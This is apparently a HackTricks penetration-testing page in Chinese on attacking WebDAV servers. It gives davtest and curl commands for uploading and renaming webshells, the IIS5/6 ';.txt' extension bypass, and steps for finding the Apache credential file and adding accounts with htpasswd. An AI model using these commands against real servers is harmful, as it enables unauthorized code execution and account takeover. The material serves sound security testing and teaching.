WebDav

Reading time: 6 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

在处理启用了 WebDavHTTP 服务器 时,如果您拥有正确的 凭据,通常通过 HTTP 基本认证 验证,就可以 操纵文件。控制这样的服务器通常涉及 上传和执行 webshell

访问 WebDav 服务器通常需要 有效的凭据WebDav 暴力破解 是获取它们的常见方法。

为了克服文件上传的限制,特别是那些阻止服务器端脚本执行的限制,您可以:

  • 如果没有限制,直接上传 具有 可执行扩展名 的文件。
  • 重命名 上传的非可执行文件(如 .txt)为可执行扩展名。
  • 复制 上传的非可执行文件,将其扩展名更改为可执行的扩展名。

DavTest

Davtest 尝试 上传多个不同扩展名的文件检查 扩展名是否 被执行

bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

这并不意味着 .txt.html 扩展名正在被执行。这意味着您可以 通过网络访问这些文件

Cadaver

您可以使用此工具 连接到 WebDav 服务器并执行操作(如 上传移动删除手动

cadaver <IP>

PUT 请求

curl -T 'shell.txt' 'http://$ip'

MOVE 请求

bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

IIS5/6 WebDav 漏洞

这个漏洞非常有趣。WebDav 不允许 上传重命名 扩展名为 .asp 的文件。但你可以通过在名称末尾 添加 ";.txt"绕过 这个限制,文件将被 执行,就像它是一个 .asp 文件一样(你也可以 使用 ".html" 而不是 ".txt",但 不要忘记 ";")。

然后你可以将你的 shell 作为一个 ".**txt" 文件 **上传,并 复制/移动 到一个 ".asp;.txt" 文件中。通过 web 服务器访问该文件时,它将被 执行(cadaver 会说移动操作没有成功,但实际上是成功的)。

后凭证

如果 Webdav 使用的是 Apache 服务器,你应该查看 Apache 中配置的网站。通常:
/etc/apache2/sites-enabled/000-default

在其中你可能会找到类似的内容:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

如您所见,文件中包含有效的 credentials 用于 webdav 服务器:

/etc/apache2/users.password

在这种类型的文件中,您将找到 usernamehash 的密码。这些是 webdav 服务器用于验证用户的凭据。

您可以尝试 crack 它们,或者如果出于某种原因您想要 access webdav 服务器,可以 add more

bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

要检查新凭据是否有效,您可以执行:

bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks